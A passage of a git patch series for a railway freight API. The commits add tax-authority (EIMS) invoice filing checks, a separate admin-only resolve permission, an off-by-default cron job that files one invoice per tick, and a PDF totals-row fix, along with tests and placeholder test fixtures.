expect(request.SourceSystem.SystemNumber).toBe(SYSTEM_NUMBER); }); + it("takes SourceSystem from the token session, not from configuration", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn().mockResolvedValue(okResponse()); + // Config disagrees on purpose: only the session may reach the wire. + const cfg = config(); + (cfg as { systemNumber: string }).systemNumber = "CONFIG-ONLY"; + (cfg as { systemType: string }).systemType = "MAN"; + + await build( + db, + postSigned, + cfg, + jest.fn(), + jest.fn().mockResolvedValue({ systemNumber: "FROM-TOKEN", systemType: "POS" }), + ).registerInvoiceWithEims(INVOICE_ID); + + const request = postSigned.mock.calls[0][1] as EimsInvoiceRequest; + expect(request.SourceSystem.SystemNumber).toBe("FROM-TOKEN"); + expect(request.SourceSystem.SystemType).toBe("POS"); + }); + + it("does not consume a counter when authentication fails", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn(); + const getSessionContext = jest.fn().mockRejectedValue(new Error("login failed")); + + await expect( + build(db, postSigned, config(), jest.fn(), getSessionContext).registerInvoiceWithEims( + INVOICE_ID, + ), + ).rejects.toThrow(/login failed/); + + expect(postSigned).not.toHaveBeenCalled(); + expect(db.state).toMatchObject({ nextInvoiceCounter: 7, inFlightInvoiceId: null }); + expect(db.invoices.get(INVOICE_ID)!.eimsStatus).toBe(EimsInvoiceStatus.NotSubmitted); + }); + it("is idempotent — an invoice with an IRN never reaches EIMS", async () => { const db = new FakeDb([ invoiceRow({ eimsIrn: IRN, eimsStatus: EimsInvoiceStatus.Registered }), @@ -377,17 +425,6 @@ describe("EimsInvoiceRegistrationService.verifyInvoiceWithEims", () => { expect(result.body).toMatchObject({ Irn: IRN }); }); - it("accepts a response whose Irn differs from the one sent", async () => { - // The supplied collection's own fixture does exactly this; equality would assert a property - // of the mock, not of the gateway. - const db = new FakeDb([invoiceRow({ eimsIrn: IRN })]); - const postBearer = jest.fn().mockResolvedValue(verifyResponse({ Irn: "a-different-irn" })); - - await expect( - build(db, jest.fn(), config(), postBearer).verifyInvoiceWithEims(INVOICE_ID), - ).resolves.toMatchObject({ body: { Irn: "a-different-irn" } }); - }); - it("rejects a 200 that carries no Irn", async () => { const db = new FakeDb([invoiceRow({ eimsIrn: IRN })]); const postBearer = jest.fn().mockResolvedValue({ statusCode: 200, body: { Irn: " " } }); @@ -436,6 +473,27 @@ describe("EimsInvoiceRegistrationService.resolveEimsRegistration", () => { }); }); + it("refuses an IRN the gateway answers with a different one, leaving the block intact", async () => { + const db = blocked(); + const postBearer = jest + .fn() + .mockResolvedValue(verifyResponse({ Irn: "0000000000000000000000000000000000000000" })); + + await expect( + build(db, jest.fn(), config(), postBearer).resolveEimsRegistration(INVOICE_ID, { irn: IRN }), + ).rejects.toThrow(/answered the lookup for IRN/); + + expect(db.invoices.get(INVOICE_ID)).toMatchObject({ + eimsStatus: EimsInvoiceStatus.Unknown, + eimsIrn: null, + }); + expect(db.state).toMatchObject({ + inFlightInvoiceId: INVOICE_ID, + blockedReason: "never acknowledged", + previousIrn: null, + }); + }); + it("refuses an IRN whose document number is not this invoice, leaving the block intact", async () => { const db = blocked(); const postBearer = jest.fn().mockResolvedValue( diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts index 44b92cd9b..4ff9ccfb8 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts @@ -17,6 +17,7 @@ import { EimsMapperLine, toEimsInvoice, } from "../billing/eims-invoice.mapper"; +import { EimsAuthService } from "./eims-auth.service"; import { EimsClientService } from "./eims-client.service"; import { EimsApiException } from "./eims.errors"; import { EimsSystemState } from "./entities/eims-system-state.entity"; @@ -70,6 +71,7 @@ export class EimsInvoiceRegistrationService { @InjectDataSource() private readonly dataSource: DataSource, private readonly config: ConfigService, private readonly client: EimsClientService, + private readonly auth: EimsAuthService, ) {} private get cfg(): EimsConfig { @@ -84,7 +86,11 @@ export class EimsInvoiceRegistrationService { const invoice = await this.loadInvoiceForMapping(invoiceId); if (invoice.eimsIrn) return this.toView(invoice); - const reservation = await this.reserve(invoiceId, cfg.systemNumber); + // Authenticate before reserving: the source system comes from the token, and the state row is + // keyed by it. A login failure here costs nothing — no counter has been consumed yet. + const session = await this.auth.getSessionContext(); + + const reservation = await this.reserve(invoiceId, session.systemNumber); if (!reservation) return this.getEimsStatus(invoiceId); // The request can only be built now: InvoiceCounter and PreviousIrn come from the reservation. @@ -96,6 +102,7 @@ export class EimsInvoiceRegistrationService { documentNumber: invoice.invoiceNumber, invoiceCounter: reservation.invoiceCounter, previousIrn: reservation.previousIrn, + session, }), ); @@ -164,18 +171,33 @@ export class EimsInvoiceRegistrationService { } /** - * Refuse a manual resolution unless the gateway agrees the IRN belongs to this invoice. + * Refuse a manual resolution unless the gateway confirms *both* halves of the claim: that this + * IRN is the one it holds, and that it belongs to this invoice. * - * The check is on `DocumentDetails.DocumentNumber`, which registration set from our own - * `invoiceNumber`. That is the only field tying an IRN back to a row in this database. + * The document-number check is against `DocumentDetails.DocumentNumber`, which registration set + * from our own `invoiceNumber` — the only field tying an IRN back to a row in this database. + * + * Recording a wrong IRN is not a local mistake: it marks an unregistered invoice as filed and + * chains every later document to a stranger's reference, so both checks are refusals rather + * than warnings. */ private async assertIrnBelongsToInvoice( irn: string, expectedDocumentNumber: string, ): Promise { const response = await this.queryVerify(irn); + const returnedIrn = response.body?.Irn?.trim(); const documentNumber = response.body?.DocumentDetails?.DocumentNumber?.trim(); + if (returnedIrn !== irn) { + throw new ConflictException({ + code: "EIMS_RESOLVE_IRN_MISMATCH", + message: + `EIMS answered the lookup for IRN ${irn} with ${returnedIrn ?? "(none)"}. ` + + "Refusing to record it — recheck the IRN in the MoR portal.", + }); + } + if (documentNumber !== expectedDocumentNumber) { throw new ConflictException({ code: "EIMS_RESOLVE_DOCUMENT_MISMATCH", @@ -216,8 +238,11 @@ export class EimsInvoiceRegistrationService { await this.assertIrnBelongsToInvoice(irn, invoice.invoiceNumber); } + // Same source of truth as registration: the state row is keyed by the token's system number. + const session = await this.auth.getSessionContext(); + await this.dataSource.transaction(async (manager) => { - const state = await this.lockSystemState(manager, this.cfg.systemNumber); + const state = await this.lockSystemState(manager, session.systemNumber); if (state.inFlightInvoiceId && state.inFlightInvoiceId !== invoiceId) { throw new ConflictException({ code: "EIMS_RESOLVE_WRONG_INVOICE", diff --git a/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts b/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts new file mode 100644 index 000000000..f411c8b44 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts @@ -0,0 +1,75 @@ +import { EimsConfig, EimsInvoiceConfig } from "../../config/eims.config"; + +/** + * Fixtures shared by the EIMS specs. + * + * Deliberately not a `.spec.ts`: importing fixtures from a spec file makes jest execute that + * file's `describe` blocks inside every importing suite, so the same tests run — and report — + * twice. + */ + +export const EIMS_SYSTEM_NUMBER = "B0360154BA"; +export const EIMS_SYSTEM_TYPE = "SYS"; + +export const eimsInvoiceConfig = (over: Partial = {}): EimsInvoiceConfig => ({ + sellerLegalName: "Ethio-Djibouti Railway S.C.", + sellerVatNumber: "0000000000", + sellerPhone: "0911223344", + sellerEmail: "finance@example.et", + sellerRegion: "13", + sellerWereda: "574", + sellerCity: null, + sellerSubCity: null, + sellerHouseNumber: null, + sellerLocality: null, + taxCode: "VAT15", + taxRatePercent: 15, + exciseTaxValue: 0, + incomeWithholdValue: 0, + transactionWithholdValue: 0, + transactionType: "B2B", + natureOfSupplies: "Service", + paymentMode: "CASH", + paymentTerm: "IMMIDIATE", + unitDefault: "PCS", + buyerCountryCode: null, + cashierName: null, + salesPersonName: null, + ...over, +}); + +export const eimsConfig = (over: Partial = {}): EimsConfig => ({ + enabled: true, + baseUrl: "https://core.mor.gov.et", + clientId: "cid", + clientSecret: "super-secret-value", + apiKey: "super-secret-apikey", + tin: "0000034558", + systemNumber: EIMS_SYSTEM_NUMBER, + systemType: EIMS_SYSTEM_TYPE, + privateKeyPath: "/dev/null", + certificatePath: "/dev/null", + httpTimeoutMs: 30_000, + tokenSkewMs: 45_000, + invoice: eimsInvoiceConfig(), + ...over, +}); + +/** + * A structurally real access token. MoR stamps the source-system identity into the JWT payload and + * `EimsAuthService` reads it from there; only the payload segment is meaningful, since the token is + * never verified locally — it is MoR's, signed with MoR's key. + * + * Pass a claim as `undefined` to omit it (spreading beats `delete`, which the defaults would undo). + */ +export const eimsToken = (claims: Record = {}): string => { + const payload = { systemNumber: EIMS_SYSTEM_NUMBER, systemType: EIMS_SYSTEM_TYPE, ...claims }; + for (const [key, value] of Object.entries(payload)) { + if (value === undefined) delete (payload as Record)[key]; + } + return [ + "eyJhbGciOiJSUzI1NiJ9", + Buffer.from(JSON.stringify(payload)).toString("base64url"), + "signature", + ].join("."); +}; From 02db3d2e73409a97f679301bc1b7bbfeb45d8d2d Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 14:42:24 +0000 Subject: [PATCH 16/18] fix(eims): keep EIMS filing off the Finance role preset Invoices are produced by the freight workflow, not by a person, so filing is not a Finance job function. The manual endpoints exist for controlled testing and exceptional operations, and are left out of every role preset so they are assigned to named admins instead. Split resolve onto its own permission, invoices:eims_resolve: resolving an unacknowledged submission clears the system-wide chain block and can record an IRN against an invoice, which is a supervisor action rather than an operational one. eims/status stays on the ordinary invoices:view. Co-Authored-By: Claude Opus 5 --- .../src/modules/eims/eims-invoice.controller.ts | 14 +++++++++++--- .../src/seed/freight-permissions.registry.ts | 13 +++++++++++++ 2 files changed, 24 insertions(+), 3 deletions(-) diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts index 9dab21107..f47cfe9d9 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts @@ -7,8 +7,16 @@ import { ResolveEimsRegistrationDto } from "./dto/resolve-eims-registration.dto" import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; /** - * Staff-triggered EIMS actions on an existing invoice. Registration is manual and one invoice at a - * time — nothing in invoice creation submits automatically. + * Manual EIMS actions on an existing invoice. + * + * Invoices are produced by the freight workflow, not by a person, so these routes are **not** the + * normal production path — they exist for controlled testing and exceptional operations. Automatic + * submission after an invoice is issued is a separate phase; nothing here is called by it. + * + * `eims_register` and `eims_resolve` are intentionally left out of every role preset and assigned + * to named admins instead. They are also separate permissions: resolving clears the system-wide + * chain block and can record an IRN against an invoice, which is a supervisor action, not an + * operational one. Only `eims/status` rides on the ordinary `invoices:view`. * * Filing gets its own permission (`invoices:eims_register`) rather than riding on an existing key: * registration is irreversible at MoR, so it must not follow from the right to download a PDF. @@ -39,7 +47,7 @@ export class EimsInvoiceController { } @Post(":id/eims/resolve") - @BookingStaff(FREIGHT_PERMS.invoices.eimsRegister) + @BookingStaff(FREIGHT_PERMS.invoices.eimsResolve) @ApiOperation({ summary: "Resolve an unacknowledged submission: record the IRN confirmed with MoR, or discard it. Clears the system-wide block.", diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index 7fa994060..3c2be2e09 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -474,6 +474,14 @@ export const FINANCE_PERMISSIONS: FreightPermissionSeed[] = [ "edr_freight_app:invoices:eims_register", "Register invoice with MoR EIMS", ), + // Separate from registering: resolving an unacknowledged submission clears the + // system-wide chain block and can record an IRN against an invoice, so it is a + // supervisor/admin action rather than an operational one. + perm( + "d2b00001-0001-4000-8000-000000000006", + "edr_freight_app:invoices:eims_resolve", + "Resolve a blocked MoR EIMS submission", + ), ]; // E. First / last mile operations @@ -1599,6 +1607,7 @@ export const FREIGHT_PERMS = { view: "edr_freight_app:invoices:view", export: "edr_freight_app:invoices:export", eimsRegister: "edr_freight_app:invoices:eims_register", + eimsResolve: "edr_freight_app:invoices:eims_resolve", }, firstMile: { view: "edr_freight_app:first_mile:view", @@ -2088,6 +2097,10 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.view, FREIGHT_PERMS.invoices.view, FREIGHT_PERMS.invoices.export, + // Deliberately NOT granted here: invoices:eims_register and invoices:eims_resolve. + // Invoices are filed with MoR by the workflow, not by a person, so filing is not a + // Finance job function — the endpoints exist for controlled testing and exceptional + // operations, and are assigned to named admins rather than a role preset. FREIGHT_PERMS.payments.view, FREIGHT_PERMS.bookings.wagonCancellationView, ], From 67573d0835db2719fc55daaf7d42daededf62fdb Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 14:58:32 +0000 Subject: [PATCH 17/18] feat(eims): file issued invoices on a cron sweep, off by default Invoices are produced by the freight workflow rather than by a person, so the production path for filing is a sweep, not the manual endpoint. A @Cron picks the oldest never-submitted invoice and hands it to the existing EimsInvoiceRegistrationService -- no registration logic is duplicated, and the durable reservation still decides whether the submission may proceed. Sweeping rather than hooking the eleven places an invoice can be created or issued keeps the workflow untouched, puts the HTTP call outside the invoice transaction by construction, and lets a crash or restart be picked up on the next tick. invoices.eims_status is the queue; nothing new is persisted. Only NOT_SUBMITTED is eligible: UNKNOWN is never retried automatically because the document may already be filed, and FAILED waits for an explicit retry policy. The tick also refuses to start while eims_system_state holds an in-flight submission or a block, and only one invoice is filed per tick so a misconfiguration costs one rejected document rather than a burst. Requires both EIMS_ENABLED and EIMS_AUTO_SUBMIT; the second defaults to false so authentication can be live long before filing is. Logs carry the invoice number, status and IRN only. Co-Authored-By: Claude Opus 5 --- apps/edr-freight-api/.env.example | 7 + .../edr-freight-api/src/config/eims.config.ts | 21 +++ .../eims/eims-auto-submit.service.spec.ts | 139 ++++++++++++++++++ .../modules/eims/eims-auto-submit.service.ts | 126 ++++++++++++++++ .../src/modules/eims/eims-test-fixtures.ts | 3 + .../src/modules/eims/eims.module.ts | 2 + 6 files changed, 298 insertions(+) create mode 100644 apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.spec.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.ts diff --git a/apps/edr-freight-api/.env.example b/apps/edr-freight-api/.env.example index 26641ee70..da0b1ceb9 100644 --- a/apps/edr-freight-api/.env.example +++ b/apps/edr-freight-api/.env.example @@ -181,3 +181,10 @@ EIMS_UNIT_DEFAULT=PCS EIMS_BUYER_COUNTRY_CODE= EIMS_CASHIER_NAME= EIMS_SALESPERSON_NAME= +# Automatic filing of issued invoices (@Cron sweep, one invoice per tick). +# Independent of EIMS_ENABLED on purpose: authentication can be live long before +# filing is. Both must be true before anything is submitted automatically. +EIMS_AUTO_SUBMIT=false +EIMS_AUTO_SUBMIT_CRON=0 */5 * * * * +# MoR rejects documents older than 3 days; the sweep will not attempt those. +EIMS_AUTO_SUBMIT_MAX_AGE_DAYS=3 diff --git a/apps/edr-freight-api/src/config/eims.config.ts b/apps/edr-freight-api/src/config/eims.config.ts index 0cadb55fb..6eaaf8007 100644 --- a/apps/edr-freight-api/src/config/eims.config.ts +++ b/apps/edr-freight-api/src/config/eims.config.ts @@ -33,6 +33,18 @@ export interface EimsConfig { httpTimeoutMs: number; /** Re-authenticate this many ms before the access token actually expires. */ tokenSkewMs: number; + /** + * Automatic submission of issued invoices, off by default. + * + * Invoices are produced by the workflow, so the production path is a sweep rather than a human + * action — but enabling it starts filing real documents with the tax authority, which is + * irreversible from our side. It therefore needs its own deliberate switch, separate from + * `EIMS_ENABLED`, so that authentication can be live long before filing is. + */ + autoSubmit: boolean; + autoSubmitCron: string; + /** MoR rejects a document whose date is more than 3 days old; the sweep will not attempt those. */ + autoSubmitMaxAgeDays: number; /** * Seller identity and tax/business treatment for the invoice document. * @@ -119,6 +131,15 @@ export default registerAs("eims", (): EimsConfig => { certificatePath: process.env.EIMS_CERTIFICATE_PATH ?? "", httpTimeoutMs, tokenSkewMs, + autoSubmit: (process.env.EIMS_AUTO_SUBMIT ?? "false").toLowerCase() === "true", + // Every 5 minutes by default: filing is not latency-sensitive, and a slow cadence keeps a + // misconfiguration from filing a burst of bad documents before anyone notices. + autoSubmitCron: process.env.EIMS_AUTO_SUBMIT_CRON || "0 */5 * * * *", + autoSubmitMaxAgeDays: positiveInt( + process.env.EIMS_AUTO_SUBMIT_MAX_AGE_DAYS, + 3, + "EIMS_AUTO_SUBMIT_MAX_AGE_DAYS", + ), invoice: { sellerLegalName: process.env.EIMS_SELLER_LEGAL_NAME ?? "", sellerVatNumber: process.env.EIMS_SELLER_VAT_NUMBER ?? "", diff --git a/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.spec.ts new file mode 100644 index 000000000..6246d5a89 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.spec.ts @@ -0,0 +1,139 @@ +import { ConfigService } from "@nestjs/config"; +import { DataSource } from "typeorm"; + +import { EimsConfig } from "../../config/eims.config"; +import { EimsAutoSubmitService } from "./eims-auto-submit.service"; +import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; +import { EimsInvoiceStatus } from "./eims-registration.types"; +import { eimsConfig } from "./eims-test-fixtures"; + +const INVOICE_ID = "11111111-1111-4111-8111-111111111111"; + +/** + * `query` is answered by shape: the first call is the system-state guard, the second is the + * candidate lookup. Keeps the fake honest about the order the service actually asks in. + */ +const build = ( + opts: { + cfg?: Partial; + state?: { in_flight_invoice_id?: string | null; blocked_reason?: string | null }; + candidate?: { id: string; invoiceNumber: string } | null; + register?: jest.Mock; + } = {}, +) => { + const register = + opts.register ?? + jest.fn().mockResolvedValue({ eimsStatus: EimsInvoiceStatus.Registered, eimsIrn: "IRN-1" }); + + const query = jest.fn().mockImplementation((sql: string) => { + if (sql.includes("eims_system_state")) { + return Promise.resolve( + opts.state ? [{ in_flight_invoice_id: null, blocked_reason: null, ...opts.state }] : [], + ); + } + return Promise.resolve(opts.candidate === undefined ? [] : opts.candidate ? [opts.candidate] : []); + }); + + const service = new EimsAutoSubmitService( + { query } as unknown as DataSource, + { get: () => eimsConfig({ autoSubmit: true, ...opts.cfg }) } as unknown as ConfigService, + { registerInvoiceWithEims: register } as unknown as EimsInvoiceRegistrationService, + ); + return { service, register, query }; +}; + +const candidate = { id: INVOICE_ID, invoiceNumber: "INV-20260807-00006" }; + +describe("EimsAutoSubmitService.tick", () => { + it("files the oldest eligible invoice through the registration service", async () => { + const { service, register } = build({ candidate }); + + await service.tick(); + + expect(register).toHaveBeenCalledTimes(1); + expect(register).toHaveBeenCalledWith(INVOICE_ID); + }); + + it("files nothing when EIMS_AUTO_SUBMIT is off", async () => { + const { service, register, query } = build({ cfg: { autoSubmit: false }, candidate }); + + await service.tick(); + + expect(register).not.toHaveBeenCalled(); + expect(query).not.toHaveBeenCalled(); + }); + + it("files nothing when EIMS itself is disabled, even with auto-submit on", async () => { + const { service, register, query } = build({ cfg: { enabled: false }, candidate }); + + await service.tick(); + + expect(register).not.toHaveBeenCalled(); + expect(query).not.toHaveBeenCalled(); + }); + + it("does not submit while another submission is in flight", async () => { + const { service, register } = build({ + state: { in_flight_invoice_id: "22222222-2222-4222-8222-222222222222" }, + candidate, + }); + + await service.tick(); + + expect(register).not.toHaveBeenCalled(); + }); + + it("does not submit while the system number is blocked", async () => { + const { service, register } = build({ + state: { blocked_reason: "never acknowledged" }, + candidate, + }); + + await service.tick(); + + expect(register).not.toHaveBeenCalled(); + }); + + it("does nothing when no invoice is eligible", async () => { + const { service, register } = build({ candidate: null }); + + await service.tick(); + + expect(register).not.toHaveBeenCalled(); + }); + + it("asks only for NOT_SUBMITTED invoices, so UNKNOWN and FAILED are never retried", async () => { + const { service, query } = build({ candidate }); + + await service.tick(); + + const [sql, params] = query.mock.calls.find(([s]: [string]) => s.includes("freight.invoices"))!; + expect(sql).toContain("i.eims_status = $1"); + expect(params[0]).toBe(EimsInvoiceStatus.NotSubmitted); + expect(sql).toContain("i.issued_at IS NOT NULL"); + }); + + it("survives a filing failure so the job keeps running", async () => { + const register = jest.fn().mockRejectedValue(new Error("EIMS register failed (406)")); + const { service } = build({ candidate, register }); + + await expect(service.tick()).resolves.toBeUndefined(); + expect(register).toHaveBeenCalledTimes(1); + }); + + it("does not start a second tick while one is still filing", async () => { + let release: () => void = () => {}; + const register = jest.fn().mockImplementation( + () => new Promise((resolve) => (release = () => resolve({ eimsStatus: "REGISTERED" }))), + ); + const { service } = build({ candidate, register }); + + const first = service.tick(); + await new Promise((r) => setImmediate(r)); + await service.tick(); // overlapping tick, must be a no-op + + expect(register).toHaveBeenCalledTimes(1); + release(); + await first; + }); +}); diff --git a/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.ts b/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.ts new file mode 100644 index 000000000..fb5a0d1f6 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-auto-submit.service.ts @@ -0,0 +1,126 @@ +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { Cron } from "@nestjs/schedule"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +import { EimsConfig } from "../../config/eims.config"; +import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; +import { EimsInvoiceStatus } from "./eims-registration.types"; + +/** + * Files issued invoices with MoR EIMS on a timer. + * + * Invoices are produced by the freight workflow rather than by a person, so this — not the manual + * endpoint — is the production path. It is a sweep rather than a hook on the eleven places an + * invoice can be created or issued, which buys three things: the workflow is untouched, the HTTP + * call is by construction outside the invoice's transaction, and an invoice missed through a crash + * or a restart is picked up on the next tick. + * + * `invoices.eims_status` is the queue — nothing new is persisted. Only `NOT_SUBMITTED` is eligible: + * `UNKNOWN` must never be retried automatically (the document may already be filed), and `FAILED` + * waits for an explicit retry policy rather than a timer's guess. + * + * Off unless **both** `EIMS_ENABLED` and `EIMS_AUTO_SUBMIT` are true. Enabling it starts filing + * real documents with the tax authority, and a registration cannot be undone from this side. + */ +@Injectable() +export class EimsAutoSubmitService { + private readonly logger = new Logger(EimsAutoSubmitService.name); + /** Guards against a tick starting while the previous one is still filing. */ + private running = false; + + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + private readonly config: ConfigService, + private readonly registration: EimsInvoiceRegistrationService, + ) {} + + private get cfg(): EimsConfig { + return this.config.get("eims")!; + } + + /** + * One invoice per tick. + * + * Deliberately not a batch: each filing consumes a counter and advances the IRN chain, an + * ambiguous result blocks the system number until a human resolves it, and a misconfiguration + * should cost one rejected document rather than a burst of them. + */ + @Cron(process.env.EIMS_AUTO_SUBMIT_CRON ?? "0 */5 * * * *", { name: "eims-auto-submit" }) + async tick(): Promise { + const cfg = this.cfg; + if (!cfg.enabled || !cfg.autoSubmit) return; + if (this.running) return; + + this.running = true; + try { + // Rule of the chain: nothing may be filed while a submission is in flight or the system is + // blocked. The reservation would refuse anyway — checking first keeps the log quiet and + // avoids burning a tick on a guaranteed conflict. + const blocked = await this.systemBlockReason(); + if (blocked) { + this.logger.warn(`EIMS auto-submit paused: ${blocked}`); + return; + } + + const candidate = await this.nextCandidate(); + if (!candidate) return; + + const view = await this.registration.registerInvoiceWithEims(candidate.id); + this.logger.log( + `EIMS auto-submit: invoice ${candidate.invoiceNumber} -> ${view.eimsStatus}` + + (view.eimsIrn ? ` (IRN ${view.eimsIrn})` : ""), + ); + } catch (err) { + // Never let a filing failure kill the job. The outcome is already persisted on the invoice + // (FAILED or UNKNOWN with the gateway's own message), and a blocked system number stops the + // next tick at the guard above. + this.logger.error(`EIMS auto-submit tick failed: ${(err as Error).message}`); + } finally { + this.running = false; + } + } + + /** Why filing is currently impossible for this system number, or null when it is free. */ + private async systemBlockReason(): Promise { + const rows: { in_flight_invoice_id: string | null; blocked_reason: string | null }[] = + await this.dataSource.query( + `SELECT in_flight_invoice_id, blocked_reason + FROM freight.eims_system_state + WHERE system_number = $1 AND deleted_at IS NULL + LIMIT 1`, + [this.cfg.systemNumber], + ); + const state = rows[0]; + if (!state) return null; + if (state.blocked_reason) return state.blocked_reason; + if (state.in_flight_invoice_id) { + return `a submission for invoice ${state.in_flight_invoice_id} is still in flight`; + } + return null; + } + + /** + * Oldest never-submitted invoice that is issued, still inside MoR's document-age window, and + * carries at least one line. + */ + private async nextCandidate(): Promise<{ id: string; invoiceNumber: string } | null> { + const rows: { id: string; invoiceNumber: string }[] = await this.dataSource.query( + `SELECT i.id, i.invoice_number AS "invoiceNumber" + FROM freight.invoices i + WHERE i.eims_status = $1 + AND i.issued_at IS NOT NULL + AND i.deleted_at IS NULL + AND i.issued_at > now() - ($2 || ' days')::interval + AND EXISTS ( + SELECT 1 FROM freight.invoice_lines l + WHERE l.invoice_id = i.id AND l.deleted_at IS NULL + ) + ORDER BY i.issued_at ASC + LIMIT 1`, + [EimsInvoiceStatus.NotSubmitted, this.cfg.autoSubmitMaxAgeDays], + ); + return rows[0] ?? null; + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts b/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts index f411c8b44..79fe30f96 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts @@ -51,6 +51,9 @@ export const eimsConfig = (over: Partial = {}): EimsConfig => ({ certificatePath: "/dev/null", httpTimeoutMs: 30_000, tokenSkewMs: 45_000, + autoSubmit: false, + autoSubmitCron: "0 */5 * * * *", + autoSubmitMaxAgeDays: 3, invoice: eimsInvoiceConfig(), ...over, }); diff --git a/apps/edr-freight-api/src/modules/eims/eims.module.ts b/apps/edr-freight-api/src/modules/eims/eims.module.ts index c3b50a489..678b21b52 100644 --- a/apps/edr-freight-api/src/modules/eims/eims.module.ts +++ b/apps/edr-freight-api/src/modules/eims/eims.module.ts @@ -4,6 +4,7 @@ import { TypeOrmModule } from "@nestjs/typeorm"; import { Invoice } from "../billing/entities/invoice.entity"; import { EimsAuthService } from "./eims-auth.service"; +import { EimsAutoSubmitService } from "./eims-auto-submit.service"; import { EimsClientService } from "./eims-client.service"; import { EimsCredentialsProvider } from "./eims-credentials.provider"; import { EimsInvoiceController } from "./eims-invoice.controller"; @@ -29,6 +30,7 @@ import { EimsSystemState } from "./entities/eims-system-state.entity"; EimsAuthService, EimsClientService, EimsInvoiceRegistrationService, + EimsAutoSubmitService, ], exports: [EimsAuthService, EimsClientService, EimsInvoiceRegistrationService], }) From b8e702dbc0e21748cf11569ddbfc881a78193eb2 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 15:08:02 +0000 Subject: [PATCH 18/18] CAS total --- .../src/modules/bookings/bookings.service.ts | 44 ++++++++++++------- 1 file changed, 28 insertions(+), 16 deletions(-) diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index e4b902fe1..15799f000 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -424,7 +424,10 @@ export class BookingsService { const departureStation = booking.originYard?.label ?? booking.originYard?.code ?? '-'; const arrivalStation = booking.destinationYard?.label ?? booking.destinationYard?.code ?? '-'; - const cargoName = booking.cargoType?.cargoTypeName ?? booking.cargoFreeText ?? '-'; + // Container bookings carry no cargo type or free text — name the freight type + // rather than printing a dash in the Cargo Name column. + const cargoName = + booking.cargoType?.cargoTypeName ?? booking.cargoFreeText ?? booking.freightType ?? '-'; const currency = booking.paymentCurrency ?? 'ETB'; const totalAmount = Number(booking.adjustedTotalAmount ?? booking.totalAmount) || 0; const prices = this.splitAmountAcrossWagons( @@ -467,6 +470,28 @@ export class BookingsService { ) .join(''); + // The totals belong in , not : the Chromium-less fallback + // renderer only parses tbody rows, so a silently drops every footer + // figure from the printed sheet. + const totalsRow = ` + TOT + ${wagons.length} ${pendingWagons ? 'received lines' : 'wagons'} + ${ + pendingWagons + ? 'pending marshalling' + : `full ${fullWagons} / empty ${wagons.length - fullWagons}` + } + ${num(totals.tare, 2)} + ${num(totals.length)} + ${num(totals.capacity)} + + Gross ${num(totals.tare + totals.load)} T + + + + ${money(totalAmount)} + `; + return ` @@ -490,7 +515,7 @@ export class BookingsService { th { background: #f8fafc; color: #475569; text-align: left; } th, td { border: 1px solid #cbd5e1; padding: 5px 6px; font-size: 9.5px; vertical-align: top; } .num { text-align: right; } - tfoot td { background: #f8fafc; font-weight: 700; } + tr.totals td { background: #f8fafc; font-weight: 700; } .notice { margin-top: 10px; border-left: 4px solid #0f766e; background: #f0fdfa; padding: 8px 10px; font-size: 10px; color: #134e4a; } .signatures { display: grid; grid-template-columns: repeat(3, 1fr); gap: 18px; margin-top: 34px; } .line { border-top: 1px solid #334155; padding-top: 7px; font-size: 9px; color: #475569; min-height: 34px; } @@ -538,21 +563,8 @@ export class BookingsService { ${rows} + ${totalsRow} - - - ${ - pendingWagons - ? `Received lines: ${wagons.length} — wagons pending marshalling` - : `Total wagons: ${wagons.length} (full ${fullWagons} / empty ${wagons.length - fullWagons})` - } - ${num(totals.tare, 2)} - ${num(totals.length)} - ${num(totals.capacity)} - Gross weight (tare + load): ${num(totals.tare + totals.load)} T - ${money(totalAmount)} - -